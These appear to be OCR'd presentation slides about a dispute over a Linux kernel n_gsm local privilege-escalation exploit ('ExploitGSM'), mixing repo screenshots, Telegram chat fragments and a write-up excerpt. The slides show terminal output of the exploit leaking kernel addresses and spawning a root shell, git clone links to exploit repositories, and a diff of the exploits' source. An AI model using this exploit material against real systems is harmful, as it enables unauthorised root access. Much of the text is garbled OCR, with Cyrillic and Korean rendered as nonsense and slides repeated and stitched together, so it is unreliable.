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GSM 0-day Timeline

> ExploitGSM Public ® Watch 10 ~
¥ main - ¥ 1Branch © 0 Tags Q Go to file t Add file ~ -
= YuriiCrimson Merge pull request #13 from LianSheng197/main @@ v/ 140d11e - 2 months ago (%) 26 Commiits
. github/workflows Revert (17db559): Remove the redefinition of struct gsm dlci... 2 months ago
BB ExploitGSM 5 15 to 6 1 Update main.c 2 months ago
B ExploitGSM_6_5 typo & add hint 2 months ago
(1] README & Code of conduct &8 MIT license &3 Security VA

ExploitGSM

Exploit for 6.4 - 6.5 kernels and another exploit for 5.15 - 6.5

Tenerpam ans 3B'aAzky -> https://t.me/YuriCrimson

Tenerpam uar -> https://t.me/itcrowdua

3MMOW A 3HaAWLLIOB ABI Bpa3nMBOCTI B n_gsm apaueepi. [icha uboro meHi Hanucae Jammes 3 NPoONo3uLiElD KyNUTH iX
B MeHe. flk BM 3p0o3yminm BiH MeHe 0baypumB. Ane 5 We He 3HaB WO nepwuii ekcnaoit ana 6.4 ta 6.5 bys 3autnin. Tomy
Al TPV AHi Ha3aj 3/IMB MOro He 3HaKuM TOro Wo BiH bys 3anTKiA. A B TBiTepi A nobaume BoT ue https://jmpeax.dev/The

tale-of-a-GSM-Kernel-LPE htm!. Llen Bubnaaok Bkpae B MeHe Mili TPyA Ta Lie BUAAB 3a CBIK. TyT BU MoxeTe nobauntu

https://t. me/itcrowdua/1/2030710 Biaeo Hawoi Nnepenuckn AK AoKas Toro wo a He bpewy. | Tenep A 3/MB We oaAnH
eKkcnnoiT Aakun 3atparye 5.15 Bepcii go 6.5 aani apanBep moxHa Bukopuctatm Tinbkn 3 CAP_NET_ADMIN npasamw.
» UWob eunepeantn Ty mpazorTy.
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GSM 0-day Timeline

The Linux zero-day scam begins with a conversation between two people. The
following is a summary based on the Telegram chat video.

[IJ README & Code of conduct &[5 MIT license  &[% Security V4

ExploitGSM

Exploit for 6.4 - 6.5 kernels and another exploit for 5.15 - 6.5

Tenerpam ans 3B'aAzky -> https://t.me/YuriCrimson

Tenerpam uar -> https://t.me/itcrowdua

3MMOW A 3HaAWLLIOB ABI Bpa3nMBOCTI B n_gsm apaueepi. [icha uboro meHi Hanucae Jammes 3 NPoONo3uLiElD KyNUTH iX
B MeHe. flk BM 3p0o3yminm BiH MeHe 0baypumB. Ane 5 We He 3HaB WO nepwuii ekcnaoit ana 6.4 ta 6.5 bys 3autnin. Tomy
Al TPV AHi Ha3aj 3/IMB MOro He 3HaKuM TOro Wo BiH bys 3anTKiA. A B TBiTepi A nobaume BoT ue https://jmpeax.dev/The

tale-of-a-GSM-Kernel-LPE htm!. Llen Bubnaaok Bkpae B MeHe Mili TPyA Ta Lie BUAAB 3a CBIK. TyT BU MoxeTe nobauntu

https://t.me/itcrowdua/1/203010 Biaeo Hawoi Nepenucku AK AOKa3 TOro wo A He bpewwy. | Tenep A 3/1B We oanH

)

eKkcnnoiT Aakun 3atparye 5.15 Bepcii go 6.5 aani apanBep moxHa Bukopuctatm Tinbkn 3 CAP_NET_ADMIN npasamw.
/% LLlo6 eunepeantu Ty mpaszory.
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The Linux zero-day scam begins with a conversation between two people. The
following is a summary based on the Telegram chat video.
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ExploitGSM

Exploit for 6.4 - 6.5 kernels and another exploit for 5.15 - 6.5
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GSM 0-day Timeline

The Linux zero-day scam begins with a conversation between two people. The
following is a summary based on the Telegram chat video.

<% Yurii Crimson in Nightly IT 4+ #YkpTr -d

[T README & Code of conduct 58 MIT license &3 Se . X
Media is too big

< VIEW IN TELEGRAM >

ExploitGSM

0:49

[Nepenucka ae MeHe KUHYNH.

ale-of-a-GSM-Kernel-LPE html. Llen Bubnaaok Bkpae B MeHe Mill TpyA Ta Lie BMAAaB 3a CBIK. TyT BI t.me/itcrowdua/203010

https://t.me/itcrowdua/1/203010 kiﬂED HaLOT Nepennckun AK AoKa3s Toro wo A He bpewy. | Tenep s
eKcnnoiT AkuK 3atparye 5.15 Bepcil 4o 6.5 aan apanBep moxHa Bukopuctatm Tinbkn 3 CAP_NET_ADMIN npasamw.
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Junk

515 Bytes

JMP ESP
4 Bytes

Shellcode
190 Bytes

Need More
175 Bytes




GSM 0-day Timeline - Telegram

Egg Hunting 7|'"H S AFEolX| 5

YuriiCrimson

L L]
[ %a’
. 18
iv

L|C}.



GSM 0-day Timeline - Telegram

QCt S4LICH 6.52 IECIH WS W ZALLCH
AL} AME|Et & QLR ?

bash one liner 0...1002| while £Z0j|A epmooitE

Mg AL

jmpe4x



GSM 0-day Timeline - Telegram

YuriiCrimson

L L]
[ %a’
. 18
iv



GSM 0-day Timeline - Telegram

Tellme about (G
vulnerabilities (g

jmpesz YuriiCrimsonUi|Aj

RAZES o F ko ciet 2 S S0 SLIC




GSM 0-day Timeline - Telegram




GSM 0-day Timeline - Telgs

-

am on always online

HCri You can tell what you got?
YuriiCrimson U can at you |

e o R -

S0 what about exploit?

r'\ : -
nNiine:

| wontwait rorever.

Oxdeadbeaf




GSM 0-day Timeline - Telegram

-

ALZ|E 2ol YuriiCrimson2 2|SA M 2H|0| & & 7/lot s LILCT.




GSM 0-day Timeline

> ExploitGSM Public ® Watch 10 ~
¥ main - ¥ 1Branch © 0 Tags Q Go to file t Add file ~ -
= YuriiCrimson Merge pull request #13 from LianSheng197/main @@ v/ 140d11e - 2 months ago (%) 26 Commiits
. github/workflows Revert (17db559): Remove the redefinition of struct gsm dlci... 2 months ago
BB ExploitGSM 5 15 to 6 1 Update main.c 2 months ago
B ExploitGSM_6_5 typo & add hint 2 months ago
(1] README & Code of conduct &8 MIT license &3 Security VA

ExploitGSM

Exploit for 6.4 - 6.5 kernels and another exploit for 5.15 - 6.5

Tenerpam ans 3B'aAzky -> https://t.me/YuriCrimson

Tenerpam uar -> https://t.me/itcrowdua

3MMOW A 3HaAWLLIOB ABI Bpa3nMBOCTI B n_gsm apaueepi. [icha uboro meHi Hanucae Jammes 3 NPoONo3uLiElD KyNUTH iX
B MeHe. flk BM 3p0o3yminm BiH MeHe 0baypumB. Ane 5 We He 3HaB WO nepwuii ekcnaoit ana 6.4 ta 6.5 bys 3autnin. Tomy
Al TPV AHi Ha3aj 3/IMB MOro He 3HaKuM TOro Wo BiH bys 3anTKiA. A B TBiTepi A nobaume BoT ue https://jmpeax.dev/The

tale-of-a-GSM-Kernel-LPE htm!. Llen Bubnaaok Bkpae B MeHe Mili TPyA Ta Lie BUAAB 3a CBIK. TyT BU MoxeTe nobauntu

https://t. me/itcrowdua/1/2030710 Biaeo Hawoi Nnepenuckn AK AoKas Toro wo a He bpewy. | Tenep A 3/MB We oaAnH
eKkcnnoiT Aakun 3atparye 5.15 Bepcii go 6.5 aani apanBep moxHa Bukopuctatm Tinbkn 3 CAP_NET_ADMIN npasamw.
» UWob eunepeantn Ty mpazorTy.

-— e




GSM 0-day Timeline

> ExploitGSM Public ® Watch 10 ~
¥ main - ¥ 1Branch © 0 Tags Q Go to file t Add file ~ | <> Code ~
= YuriiCrimson Merge pull request #13 from LianSheng197/main G2 140d11e - 2 months ago  ¢~) 26 Commits
B github/workflows Revert (17db559): Remove the redefinition of struct gsm dlci... 2 months ago
BB ExploitGSM 5 15 to 6 1 Update main.c 2 months ago
B ExploitGSM_6 5 typo & add hint 2 months ago
(1] README & Code of conduct &8 MIT license &3 Security VA

ExploitGSM

Exploit for 6.4 - 6.5 kernels and another exploit for 5.15 - 6.5

Tenerpam ans 3B'aAzky -> https://t.me/YuriCrimson
Tenerpam uar -> https://t.me/itcrowdua

3MMOW A 3HaAWLLIOB ABI Bpa3nMBOCTI B n_gsm apaueepi. [icha uboro meHi Hanucae Jammes 3 NPoONo3uLiElD KyNUTH iX
B MeHe. flk BM 3p0o3yminm BiH MeHe 0baypumB. Ane 5 We He 3HaB WO nepwuii ekcnaoit ana 6.4 ta 6.5 bys 3autnin. Tomy
Al TPV AHi Ha3aj 3/IMB MOro He 3HaKuM TOro Wo BiH bys 3anTKiA. A B TBiTepi A nobaume BoT ue https://jmpeax.dev/The
tale-of-a-GSM-Kernel-LPE htm!. Llen Bubnaaok Bkpae B MeHe Mili TPyA Ta Lie BUAAB 3a CBIK. TyT BU MoxeTe nobauntu
https://t. me/itcrowdua/1/2030710 Biaeo Hawoi Nnepenuckn AK AoKas Toro wo a He bpewy. | Tenep A 3/MB We oaAnH
eKkcnnoiT Aakun 3atparye 5.15 Bepcii go 6.5 aani apanBep moxHa Bukopuctatm Tinbkn 3 CAP_NET_ADMIN npasamw.

» | LLob sunepeantu Ty mpazory.

-— e




GSM 0-day Timeline

V7=IEO|I n_gsm E2{0|HO|A| 5 J1X] F4E S HAHMNSL|LCE.

3 = JammeseEls AFEHO] X 0|A| HEtolo] O A S S AL MQFH SL|Ct, OFA|CEA|I]
d= NE &G &LICH EQIEMA https://jmpeax.dev/The-tale-of-a-GSM-Kernel-
LPE.html O] 3 & H}SLICL, O] XfAlO] L .eB S EXM M X7] AN L EUXSLICE.

(L RE*DME & Code of conduct 82 MIT license 8% Security VA

ploitGSM

ploit for 6.4 - 6.5 kernels and another exploit for 5.15 - 6.5

Tenerpam gna 3B'asky -> https://t.me/YuriiCrimson

Tenerpam uar -> https://t.me/itcrowdua

3MMOW A 3HaAWLLIOB ABI Bpa3nMBOCTI B n_gsm apaueepi. [icha uboro meHi Hanucae Jammes 3 NPoONo3uLiElD KyNUTH iX
B MeHe. ik Bu 3po3yminv BiH MeHe 0baypwmB. Ane A Lie He 3HaB Wo nepLumii ekcnaoit ana 6.4 ta 6.5 bys 3autuin. Tomy
Al TPV AHi Ha3aj 3/IMB MOro He 3HaKuM TOro Wo BiH bys 3anTKiA. A B TBiTepi A nobaume BoT ue https://jmpeax.dev/The

tale-of-a-GSM-Kernel-LPE html. Lle Bubnsgok Bkpae B MeHe Miii TPy Ta Lie BMAAB 2a CBIA. TyT BU MoxeTe nobauuntu

https://t.me/itcrowdua/1/203010 Biaeo Hawoi Nepenucku AK AOKa3 TOro wo A He bpewwy. | Tenep A 3/1B We oanH
eKkcnnoiT Aakun 3atparye 5.15 Bepcii go 6.5 aani apanBep moxHa Bukopuctatm Tinbkn 3 CAP_NET_ADMIN npasamw.
/% | LLlob sunepeanTn Ty Mpazory.

- ek T

L
o




GSM 0-day Timeline

L1 RE*DME & Code of conduct &8 MIT license  &[% Security V4

LPE.html

)

»
- ek T
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https://jmpeax.dev/The-tale-of-a-GSM-Kernel-
LPE.html

21 March 2024

The tale of a GSM Kernel LPE

by jmpeax

Through fuzzing via my local custom syzkaller instance and auditing via semgrep and codeql

queries I was lucky enough to find a bug 1in the Tinux module n_gsm.c. This module 1s used to
implement the GSM 07.10 multiplexing protocol. This type of error was “Race Condtiton” which
results in “User - After - Free”. Looking at the code, I realized that this could be used to

execute my code in the Linux kernel and get LPE (Local Privilege Escalation) on a potential
victim.

Now I'm going to tell you in detail on the module code where programmers make a mistake. With
the release of version 6.4 of the Linux kernel, the n_gsm module now has a GSMIOC_SETCONF_DLCI

option to call via i1octl. This option is required to update the DLCI (Data Link Connection
Identifier) configuration.
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kdafr@jmpedx-virtual-machine: S whoami

kafr

kafr@jmpedx-virtual-machine: S id

uid=1000(k4afr) gid=1000( jmpedx) groups=1000( jmpedx),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(1lpadmin),135(1xd),136(sambasha
re)

k4fr@jmpedx-virtual-machine: S uname -a

Linux jmpedx-virtual-machine 6.5.0-26-generic #26~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Mar 12 10:22:43 UTC 2 x86_64 xB86_64 x86_64
GNU/Linux

kdfr@jmpedx-virtual-machine: S whoami

kafr

kafr@jmpedx-virtual-machine: S ./ExploitGSM ubuntu

permissible spray -> 500
begin try leak startup xen!
startup_xen leaked address -> ffffffff94e933coé

text leaked address -> ffffffffo2seeeee
lockdep_map_size -> 32

spinlock_t_size -> 4

mutex_size -> 32

tty port -> 376

tty buffhead -> 136

dead > 524

waiting setconf dlci thread

Wait 3 sec for ending kernel work execution

We get root, spawn shell

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@jmpedx-virtual-machine: /root# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(1padmin),135(1xd),136(sambashare),1000( jmpe
4x)

root@jmpedx-virtual-machine: /root# whoami

root

GSM_Linux Kernel LPE Nday Exploit code.
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kdafr@jmpedx-virtual-machine: S whoami

kafr

kafr@jmpedx-virtual-machine: S id

uid=1000(k4afr) gid=1000( jmpedx) groups=1000( jmpedx),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(1lpadmin),135(1xd),136(sambasha
re)

kafr@jmpedx-virtual-machine: S uname -a

Linux jmpedx-virtual-machine 6.5.0-26-generic #26~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Mar 12 10:22:43 UTC 2 x86_64 xB86_64 x86_64
GNU/Linux

kdfr@jmpedx-virtual-machine: S whoami

kafr

kafr@jmpedx-virtual-machine: S ./ExploitGSM ubuntu

permissible spray -> 500
begin try leak startup xen!
startup_xen leaked address -> ffffffff94e933coé

text leaked address -> ffffffffo2seeeee
lockdep_map_size -> 32

spinlock_t_size -> 4

mutex_size -> 32

tty port -> 376

tty buffhead -> 136

dead > 524

waiting setconf dlci thread

Wait 3 sec for ending kernel work execution

We get root, spawn shell

To run a command as administrator (user "root"), use "sudo <command=>".
See "man sudo_root" for details.

root@jmpedx-virtual-machine: /root# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(1padmin),135(1xd),136(sambashare),1000( jmpe
4x)

root@jmpedx-virtual-machine: /root# whoami

root

kSM Linux Kernel LPE Nday Exploit code.
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. GSM_Linux_Kernel_LPE_Nday_Exploit Public © Watch 2
¥ main - ¥ 1Branch © 0 Tags Q Go to file t Add file ~ ‘ ¢> Code ~
. Jmpedx Update main.c e8dea3f - 3 months ago %) 8 Commits
BB OffsetGenerator Add files via upload 3 months ago
() CMakelLists.txt Add files via upload 3 months ago
() CMakelists.txt.user Add files via upload 3 months ago
) README.md Update README.md 3 months ago
D main.c Update main.c 3 months ago

LFE €XPIOIT IN TNE INUX MOoauie N_gsm.C. INIS MOQAuIe IS USed TO IMPIEMENT tNe LDV U/. U MUITIPIEXING Protocol. 1 Nis
type of vulnerability is a Race Condtiton which results in UAF. Looking at the code, | realized that this could be used
to execute my code in the Linux kernel and get LPE on a potential victim.

Writeup can be found here:

https://jmpeax.dev/The-tale-of-a-GSM-Kernel-LPE.htm|

kSM Linux Kernel LPE Nday Exploit code.
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kafr@jmpedx-virtual-machine: S whoami

kafr

kdfr@jmpedx-virtual-machine: S id

uid=1000(k4afr) gid=1000( jmpedx) groups=1000( jmpedx),4(adm),24(cdrom),27(s1
re)

kdfr@jmpedx-virtual-machine: S uname -a

Linux jmped4x-virtual-machine 6.5.0-26-generic #26~22.04.1-Ubuntu SMP PREE!}
GNU/Linux

kdfr@jmpedx-virtual-machine:

kafr

k4fr@impedx-virtual-machine:

permissible spray -> 500

begin try leak startup xen!

startup_xen leaked address -> ffffffff94e933co
text leaked address -> ffffffff92800000

S whoami

S ./ExploitGSM ubuntu

lockdep _map_size -> 32
spinlock_t_size -> 4
mutex_size -> 32
tty port -> 376
tty buffhead -> 136
dead -> 524

waiting setconf dlci thread

Wait 3 sec for ending kernel work execution

We get root, spawn shell

To run a command as administrator (user "root"), use "sudo <command=>".
See "man sudo_root"” for details.

root@jmped4x-virtual-machine: /root# id

uid=8(root) gid=6(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),4
4x)

root@jmpedx-virtual-machine: /root# whoami

root

. GSM_Linux_Kernel_LPE_Nday_Exploit Public

£ 1Branch © 0 Tags Q Go to file

¥ main ~

. jmpedx Update main.c

B OffsetGenerator Add files via upload

[ CMakelists.txt Add files via upload

CMakelists.txt.user Add files via upload

Update README.md

D
) README.md
O

main.c Update main.c

1
= ExploitGSM Public

¥ main ~ ¥ 1Branch > 0 Tags Q Go to file

' YuriiCrimson Merge pull request #13 from LianSheng197/main &2

B8 _github/workflows
B ExploitGSM_5 15 to_6_1 Update main.c

BB ExploitGSM_6 5 typo & add hint

t Add file ~

e

e8dea3f - 3 months ago

t Add file

140d11e - 2 months

Revert (17db559): Remove the redefinition of struct gsm dlci.
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. GSM_Linux_Kernel_LPE_Nday_Exploit Public

¥ main ~ £ 1Branch © 0 Tags Q Go to file t Add file ~
|-:~1%Fcj*ped.x-virtLaL-mar_hir‘e: S whoami . jmpedx Update main.c eB8dea3f- 3 months ago
kafr
kdfr@jmpedx-virtual-machine: S id
uid=1000(k4afr) gid=1000( jmpedx) groups=1000( jmpedx),4(adm),24(cdrom),27(s. [ OffsetGenerator Add files via upload
re)
kdfr@jmpedx-virtual-machine: S uname -a ) X , :
Linux jmpedx-virtual-machine 6.5.0-26-generic #26~22.04.1-Ubuntu SMP PREE} () CMakeLists.txt Add files via upload
GNU/Linux
b e i (9 CMakelists.txt.user Add files via upload
kdafr@jmpedx-virtual-machine: S ./ExploitGSM ubuntu
permissible spray -> 500 [ README.md Update README.md

begin try leak startup xen!
startup_xen leaked address -> ffffffff94e933co

text leaked address -> ffffffff92800000 main.c Update main.c
lockdep _map_size -> 32
spinlock_t_size -> 4 i
mutex_size -> 32 . -

- o Publ
tty port -> 376 - EXPID|tGSM —
tty buffhead -> 136
dead -> 524
waiting setconf dlci thread
Wait 3 sec for ending kernel work execution . —~ £

v ( t

We get root, spawn shell P main 1Branch © 0 Tags Q Go to file Add file
To run a command as administrator (user "root"), use "sudo <command=>".
See "man sudo_root"” for details.

_ S _ RS - o 10d11e - 2 monthe
root@jmpedx-virtual-machine: /root# id = YurniCnimsgn Merge pull request #13 from LianSheng197/main &8 140d11e - 2 months
uid=8(root) gid=6(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),4
4x) ..
root@jmpedx-virtual-machine: /root# whoami B _github/yorkflows Revert (17db559): Remove the redefinition of struct gsm_dlci.
root

B ExploifGSM_5 15 to 6_1 Update main.c

BB ExploitGSM_6 5 typo & add hint
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ExploitGSM

oy Explo”GSM Public & Watch 10 ~

¥ main ~ ¥ 1Branch © 0 Tags Q Go to file t Add file ~ <> Code ~
YuriiCrimson Merge pull request #13 from LianSheng197/main €8 140d11e - 2 months ago ) 26 Commits
BB .github/workflows Revert (17dbs59): Remove the redefinition of struct gsm_dlci... 2 months ago
B ExploitGSM_5_15 to_6_1 Update main.c 2 months ago
BB ExploitGSM 6 5 typo & add hint 2 months ago
B OffsetGenerator nit upload 2 months ago
B8 docs Add build workflow 2 months ago
h .gitattributes Add build workflow 2 months ago
D LICENSE Initial commit 2 months ago

)
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ExploitGSM

)

- ek T

ExploitGSM  public

¥ main -~ ¥ 1Branch li>EJTag|5

EErEE BN N SN AN

YuriiCrimson Merge pull request #1

.github/workflows

ExploitGSM_5_15_to_6_1

ExploitGSM_6_5

OffsetGenerator

docs

.gitattributes

LICENSE

O

3 from LianSheng197/main G

Revert (17db559): Remove t

Update main.c

'po & add hint

'}I' L

Add build workflow

Add build workflow

Initial commit

1e redefinit

> Watch 10 ~

t Add file ~ <> Code ~

140d11e - 2 months ago ) 26 Commits

on Of struct gsm dlci... 2 months d{o

2 months ago

2 months aqo

2 months ago

2 months ago

2 months ago

2 months ago
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ExploitGSM

z3rodae@@z3rodae®:~$ tree ExploitGSM/ ~ ExploitGSM  Pubic ® Watch 10 ~
Exploit M
— Exploit M_S5_15_to l |
— CMakELiStS t)('t ¥ main -~ ¥ 18ranch ©o0 Tags Q Go to file - Add file ~ <> Code ~
dECOI’I’IpI‘ESSDI‘S . C
— main . C 5 YuriiCrimson Merge pull request #13 from LianSheng197/main &= 140d11e - 2 months ago @ 26 Commits
— Exploi1tGSM_6_5
— CMakE‘LiStS tx-t .github/workflows Revert (17db559): Remove the redefinition of struct gsm_dlci... 2 months ago
— main.c BB YxploitGSM_5_15_to_6_1 Update main.c 2 months ago
—— LICENSE
e NL££ o B ExNOItGSM 6 5 typo & add hint 2 months ago
CHakELiStS tExt B OffséyGenerator nit upload 2 months ago
—— main.c
™ B docs Add build workflow 2 months ago
R README . I'I'Id B .gitattributes Add build workflow 2 months ago
(9 LICENSE Initial commit 2 months ago
—— writeup.docx o . copm o . .
P git clone https://github.com/YuriiCrimson/ExploitGSM.git

writeup.pdf

4 directories, 13 files

)

- ek T
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ExploitGSM

z3rodae®@z3rodae®:~$ tree ExploitGSM/
: 1.‘:;f-”

xpLoitGSM_5_1!

— CMakeLlsts txt
decompressors.c
- main.c
ExploitGSM_6_5

—— CMakelLists.txt
—— mailin.c

—— LICENSE

p— ()4+4+co1 enerator
CMakelLists.txt
main.c

N

README . md

|

writeup.docx
writeup.pdf

4 directories, 13 files

)
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ExploitGSM

ydae®:~$ tree ExploitGSM/

CMakelLists.txt
decompressors.c
main.c

CMakelLists.txt
main.c

— CMakelLists.txt
— main.c

README . md

writeup.docx

writeup . pdf YurriCrimson2 2|54 74 5.15~6.11} 6.5 HZ0f
ot S7HX| A S ECl I ES MSolFLICE

4 directories, 13 files
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GSM_Linux_Kernel_LPE_Nday_Exploit

@ GSM_Linux_Kernel _LPE_Nday _Exploit  Public ® Watch 2

¥ main - £ 1Branch © 0 Tags Q Go to file t Add file ~ <> Code ~
. Jmpedx Update main.c e8dea3f- 3 months ago %) 8 Commits
B OffsetGenerator Add files via upload 3 months ago
[ CMakelists.txt Add files via upload 3 months ago
) CMakelists.txt.user Add files via upload 3 months ago
) README.md Update README.md 3 months ago
D main.c Update main.: 3 months ago
;
; »
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GSM_Linux_Kernel_LPE_Nday_Exploit

@ GSM_Linux_Kernel _LPE_Nday _Exploit  Public ® Watch 2

¥ main - £ 1Branch © 0 Tags Q Go to file t Add file ~ <> Code ~
. Jmpe4x Update main.c e8dea3f- 3 months ago %) 8 Commits

B OffsetGenerator Add files via upload 3 months ago
[ CMakelists.txt Add files via upload 3 months ago
() CMakelists.txt.user Add files via upload 3 months aqo
) README.md Update README.md 3 months ago
D main.c Update main.: 3 months ago
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GSM Linux Kernel LPE Nday_Explmt

‘odael

— CMakelList
CMakelList

— CMake
— CMake
—— main
— test
- README . md
— main.c

1 directory,

:~$ tree GSM_Linux_Kernel_LPE_Nday_Exploit/

s.txt
s.txt.user

Lists.txt
Lists.txt.user

. C
. C

8 files

git clone https://github.com/jmpe4x/GSM_Linux_Kernel_LPE_Nday_Exploit.gi
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GSM Linux Kernel LPE Nday_Explmt

i rodae®@@z3: :~$ tree GSM_Linux_Kernel_LPE_Nday_Exploit/

CMakelLists.txt
CMakelLists.txt.user

—— CMakelLists.txt

—— CMakelLists.txt.user
—— mailin.c

-— test.c

README . md

main.c

1 directory, 8 files
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GSM_Linux_Kernel_LPE_Nday_Exploit

lae0:~$ tree GSM_Linux_Kernel_LPE_Nday_Exploit/

CMakelLists.txt
CMakelLists.txt.user

—— CMakelLists.txt

—— CMakelLists.txt.user
—— mailin.c

-— test.c

README . md

main.c

directory, 8 files
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diff command

DIFF(1) User Commands DIFF(1)

NAME
diff - compare files line by line

SYNOPSIS
diff [OPTIOM]... FILES

DESCRIPTION
Compare FILES line by line.

Mandatory arguments to long options are mandatory for short options too.

——normal
output a normal diff (the default)

-q, —brief
report only when files differ

-5, —report-identical-files
report when two files are the same
=c, =C NUM, ——context[=NUM]
output NUM (default 3) lines of copied context

-u, -U NUM, —-unified[=NUM]
output NUM (default 3) lines of unified context

-e, —ed
output an ed script

=N, =—ICS5

output an RCS format diff

=y, ——side-by-side

output in two columns

W, ——width=NUM
output at most NUM (default 138) print columns

—=left-column
output only the left column of common lines

==suppress—common-Llines
do not output common lines

-p, —shon—c—function
show which C function each change is in
G, -F, —shon—Function-line=RE
show the most recent line matching RE
Manual page diff(1) line 1 (press h for help or g to quit)

- ok T
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diff command

DIFF(1) User Commands DIFF(1)

mini terminal

NAME
diff - compare files line by line

SYNOPSIS
diff [OPTIOM]... FILES

DESCRIPTION
Compare FILES line by line.

Mandatory arguments to long options are mandatory for short options too.

——normal
output a normal diff (the default)

-q, —brief
report only when files differ

-5, —report-identical-files
report when two files are the same
-c, =C NUM, ——context[=NUM]
output NUM (default 3) lines of copied context

-u, -U NUM, —-unified[=NUM]
output NUM (default 3) lines of unified context

-e, —ed
output an ed script

=N, =—ICS5

output an RCS format diff

=y, ——side-by-side

output in two columns

W, ——width=NUM
output at most NUM (default 138) print columns

—=left-column
output only the left column of common lines

==suppress—common-Llines
do not output common lines

-p, —shon—c—function
show which C function each change is in

b2 -F, —shon—Function-line=RE
% show the most recent line matching RE

ress h for help
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diff command

DIFF(1) User Commands DIFF(1)

diff - compare files line by line ABCDEFG

SYNOPSIS
diff [OPTIOM]... FILES

mini terminal

NAME

DESCRIPTION
Compare FILES line by line.

Mandatory arguments to long options are mandatory for short options too.

——normal
output a normal diff (the default)

-q, —brief
report only when files differ

-5, —report-identical-files
report when two files are the same
-c, =C NUM, ——context[=NUM]
output NUM (default 3) lines of copied context

-u, -U NUM, —-unified[=NUM]
output NUM (default 3) lines of unified context

-e, —ed
output an ed script

=N, =—ICS5

output an RCS format diff

=y, ——side-by-side

output in two columns

W, ——width=NUM
output at most NUM (default 138) print columns

—=left-column
output only the left column of common lines

==suppress—common-Llines
do not output common lines

-p, —shon—c—function
show which C function each change is in

b2 -F, —shon—Function-line=RE
% show the most recent line matching RE

ress h for help
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diff command

mini terminal

DIFF(1) User Commands DIFF(1)

diff - compare files line by line ABCDEFG

SYNOPSIS
diff [OPTIOM]... FILES

NAME

DESCRIPTION

Compare FILES line by Lline. ABCD E FF

Mandatory arguments to long options are mandatory for short options too.

——normal
output a normal diff (the default)

-q, —brief
report only when files differ

-5, —report-identical-files
report when two files are the same
-c, =C NUM, ——context[=NUM]
output NUM (default 3) lines of copied context

-u, -U NUM, —-unified[=NUM]
output NUM (default 3) lines of unified context

-e, —ed
output an ed script

=N, =—ICS5

output an RCS format diff

=y, ——side-by-side

output in two columns

W, ——width=NUM
output at most NUM (default 138) print columns

—=left-column
output only the left column of common lines

==suppress—common-Llines
do not output common lines

-p, —shon—c—function
show which C function each change is in

-F, —shon—Function-line=RE
show the most recent line matching RE

ress h for help
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diff command

mini terminal

DIFF(1) User Commands DIFF(1) $ t
NAME Cala
diff - compare files line by line ABCDEFG
SYNOPSIS
diff [OPTION]... FILES $ Cat b
DESCRIPTION

Compare FILES line by line. ABCDEFF
Mandatory arguments to long options are mandatory for short options too. $ d off a b

—normal

cutput & normal d1FF (the default --- a 2024-06-0616:33:52.605599942 +0900

-q, —brief

report only when files differ +++ b 2024-06-06 16:33:58.835598259 +0900

-5, —report-identical-files

report when two files are the same @@ _1 +1 @@

=C NUM, —context[=NUM]
output NUM (default 3) lines of copied context _ABCDEFG

-u, -U NUM, —-unified[=NUM]

output NUM (default 3) lines of unified context +ABCDEFF

-e, —ed
output an ed script

=C

=N, =—ICS5

output an RCS format diff

=y, ——side-by-side
output in two columns

W, ——width=NUM
output at most NUM (default 138) print columns

—=left-column
output only the left column of common lines

==suppress—common-Llines
do not output common lines

-p, —shon—c—function
show which C function each change is in

-F, —shon—Function-line=RE
show the most recent line matching RE
Manual page diff{1) line 1 (press h for help

3
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diff -u ./GSM_linux_Kernel_LPE_Nday_Exploit/main.c ./ExploitGSM/Exploit_6_5/main.c

z3rodae@@z3rodaed:~$ diff -u ./GSM_Linux_Kernel_LPE_Nday_Exploit/main.c ./ExploitGSM/ExploitGSM_6_5/main.c -:SE:J:"E gg::gg-gggg:i-gtg -}g:?("iﬁ'.a'?. itmit gsma:lil';i_cu;figl
—_— : 2 s —OE— . . —-#define _ _ _ 'G', 8, struct gsm_dlci_config
.!GSH_L:}nux_Hernel_.LPE_Nday_Exlet!mam.c 2024-06-03 00:15:00.299389092 +0900 +#define GSMIOC GETCONF DLCI _TOWRC'G' . 7. struct gsm_dlci_config)
+++ .fE){p'LDl‘tGSHfExplﬂltGSH_E_ﬁfmaln.C EBEH_BH_EB 12'33'15.9929?9323 +BQBB +#define GSMIOC_SETCONF_DLCI _In“[llﬁl' Eu struct gsn_dlci_cnn-Fig)
@@ -1,5 +1,3 @@ +#endif
—// GSM Linux Kernel Race Condition -> UAF @day Exploit written by jmpelx _
_ const unsigned char CMD_CLD = 8x61;
. const unsigned char CMD_TEST = #8x11;
ftdefine _GNU_SOURCE @@ -69,7 +71,7 @@
#include <stdio.h> const unsigned char GSM1_SOF = @x7E;
#include <errno.h> const unsj.gned char SABM = 8x2F;
const unsigned char UIH = 8xEF;
@@ _u5r23 ‘H|3,2T @@ -const unsigned char CMD_MSC = 0x71;
+const uns@gned char CHMD_MSC = B8x71:
#define UNUSED(x) (void)(x) CD“SE ”-“5?9““-‘: E:“‘ E‘: = g*g;i
#define ALIGN_UP(p, size) (__typeof__(p))(((uintptr_t)(p) + ((size) - 1)) & ~((size) - 1)) Eﬂ:it t::ig::d Eh:i o = Bilﬂ;
~-#define PAGE_UP(addr) (((addr)+((PAGE_SIZE)-1))&(~((PAGE_SIZE)--1))} @@ -80,9u4 +82,80 @@
#idefine SPIN_WAIT_CONDITION(value, condition) while (condition != value) const int STACK_SIZE_SANDBOX = 1666608;

const int STACK_SIZE_EXPLOTATION = 1000080;
const int SOL_IP = @;

fidefine MINCX, Y) CCOX) < (YD) 7 (XD : (Y)) ~const int KERNEL_PATH_READ_OFFSET = 11:
-const int SECTOR_SIZE = 512;
. -const int BOOT_SECTOR_COUNT = 1;
+#de-F:|:nE HEAP_SPRAY_SIZE 1024 -~const int BOOT_FLAG = B8XAASS:
+itdefine BITS_PER_LONG 6u4 -const int UNCOMPRESSED_KERNEL_SIZE_OFFSET = U;
s -const int SETUP_HEADER_OFFSET = BOOT_ENTRY_OFFSET - 15;
